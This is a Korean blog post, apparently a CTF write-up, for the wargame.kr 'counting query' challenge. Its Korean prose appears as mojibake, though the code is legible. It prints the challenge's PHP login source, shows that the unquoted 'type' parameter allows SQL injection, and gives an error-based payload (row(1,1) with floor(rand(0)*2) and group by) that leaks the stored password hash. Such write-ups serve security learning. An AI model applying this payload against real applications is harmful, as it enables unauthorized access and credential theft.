CTF, War game

[wargame.kr] Level 3: counting query

mnzy๐ŸŒฑ 2024. 8. 10. 21:56

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/342

[wargame.kr] counting query

Description Error based SQLi Challenge

dreamhack.io

 

2.ํ•ด๊ฒฐ ๊ณผ์ •

id๋Š” ip์ฃผ์†Œ์˜ ํ˜•์‹์œผ๋กœ ๋˜์–ด ์žˆ๊ณ  id๋Š” ์ž…๋ ฅ์ฐฝ์—์„œ๋Š” ๋”ฐ๋กœ ์ˆ˜์ •์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฉฐ, ํŒจ์Šค์›Œ๋“œ์— ์•„๋ฌด๋‚ด์šฉ์ด๋‚˜ ์ž…๋ ฅํ•˜๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

 

(1) ์ฝ”๋“œ ๋ถ„์„

ํ”Œ๋ž˜๊ทธ๋Š” ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•œ ๋’ค, ํŒจ์Šค์›Œ๋“œ๋ฅผ ํ•œ ๋ฒˆ ๋” ํ™•์ธํ•˜๊ณ  ์ถœ๋ ฅํ•ด์ค€๋‹ค. 
-> ๊ฒฐ๊ตญ ๋ฌธ์ œ๋Š” ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ์ •ํ™•ํ•œ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ž…๋ ฅํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect, $FLAG.
 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! FLAG is : ".$FLAG."</h2>"; }

?>

 
์ž…๋ ฅ๊ฐ’์€ POST๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. 
ํŠน์ˆ˜๋ฌธ์ž ๋’ค์— ๋ฐฑ์Šฌ๋ž˜์‹œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” mysql_real_escape_string ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ์ž…๋ ฅ๊ฐ’์„ ์ฒ˜๋ฆฌํ•˜์—ฌ SQL ์ธ์ ์…˜์„ ๋ฐฉ์ง€ํ•˜๊ณ , ip์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์™€ id์™€ ๋™์ผํ•˜์ง€ ์•Š์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค. ํƒ€์ž…์ด 1์ผ ๋•Œ(admin), id๊ฐ’์ด all_user_acccounts ํ…Œ์ด๋ธ”์— ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ๊ณ„์ •์„ ์ƒ์„ฑํ•œ๋‹ค.  
๋˜ํ•œ sleep(2)ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด 2์ดˆ๋™์•ˆ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œ์ผœ ๋ธŒ๋ฃจํŠธ ํฌ์Šค๋ฅผ ๋ฐฉ์–ดํ•˜๊ณ , ์ž„์‹œ ํ…Œ์ด๋ธ”์„ ์ƒ์„ฑํ•˜์—ฌ ์ž…๋ ฅํ•œ id์— ํ•ด๋‹นํ•˜๋Š” ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์—๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•œ๋‹ค, 
๋˜ํ•œ, ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ๊ธฐ๋กํ•˜์—ฌ 4๋ฒˆ์ด์ƒ ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ํ•˜๋ฉด ํŒจ์Šค์›Œ๋“œ๋ฅผ ๋ณ€๊ฒฝํ•œ๋‹ค
 

(2) ์ต์Šคํ”Œ๋กœ์ž‡

ํŒจ์Šค์›Œ๋“œ์— 123์„ ์ž…๋ ฅํ•˜๊ณ  ํŒจํ‚ท์„ ํ™•์ธํ•ด๋ณด๋ฉด ๋ฐ”๋””๊ฐ’์— ํ•ด๋‹น ๊ฐ’์ด ์ž˜ ์ „๋‹ฌ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

.
๋กœ๊ทธ์ธ  ์‹œ๋„์‹œ์˜ ์ฟผ๋ฆฌ๋ฌธ์„ ๋ณด๋ฉด type๋ณ€์ˆ˜๋Š” ๋‹ค๋ฅธ ๋ณ€์ˆ˜์™€ ๋‹ฌ๋ฆฌ ๋ฌธ์ž์—ด๋กœ์„œ ์‚ฝ์ž…๋˜์ง€ ์•Š๊ณ  ์ง์ ‘์ ์œผ๋กœ ์‚ฝ์ž…์ด ๋œ๋‹ค.
์ฆ‰, mysql_real_escape_stringํ•จ์ˆ˜๊ฐ€ ๋ฌด์šฉ์ง€๋ฌผ์ด ๋œ๋‹ค.
๋”ฐ๋ผ์„œ ์ด๋ฅผ ์ด์šฉํ•ด์„œ 1์ฐจ์ ์œผ๋กœ ๋กœ๊ทธ์ธ ์‹œ๋„๋ฅผ ์ง„ํ–‰ํ•ด๋ณด์•˜๋‹ค. 

select * from t_user where user_id='$id' and ps='$ps' and type=$type

 
๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜์˜€๋‹ค. ๋”ฐ๋ผ์„œ type์นธ์˜ sqli ์ทจ์•ฝ์ ์„ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด๋„๋ก ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž‘์„ฑํ•  ๊ฒƒ์ด๋‹ค. 

content-Length๋„ ์ˆ˜์ • ํ•„์š”ํ•  ๊ฒƒ

 

 
์ดํ›„ ๋‹ค์–‘ํ•œ sql ์ฟผ๋ฆฌ๋ฌธ์„ ๋งŒ๋“ค์–ด๋ณด์•˜์ง€๋งŒ, ๊ฐ€๋Šฅํ•œ ๊ฒƒ์€ group by๋ฅผ ์ด์šฉํ•œ ์—๋Ÿฌ based sqli๋ฌธ์ด์—ˆ๋‹ค. 
๋˜ํ•œ ์ฒ˜์Œ์—๋Š” Select 1 ์„ ์ด์šฉํ•ด์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ํ•ด๋ณด๋ ค๊ณ  ํ–ˆ์ง€๋งŒ ๋ถˆ๊ฐ€๋Šฅ ํ•˜์˜€๋‹ค.
๊ทธ ์ด์œ ๋Š” 
 
๋”ฐ๋ผ์„œ row(1,1)์„ ์ด์šฉํ•˜๊ณ  ๊ตฌ๊ธ€๋งํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์•ฝ๊ฐ„ ๋ณ€ํ˜•ํ•ด์„œ ์ž‘์„ฑํ•˜์˜€๋‹ค. 
 

1 or row(1,1)>(select count(*),concat(ps,0x41,floor(rand(0)*2)) as test from information_schema.tables group by test limit 1)

 
 

d61c5f7c3b1b7e3f06c89f9c2e144caf

 
์ด๋ ‡๊ฒŒ ์•Œ์•„๋‚ธ pw๊ฐ’์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ ๊ฐ’์ด ๋‚˜์˜จ๋‹ค.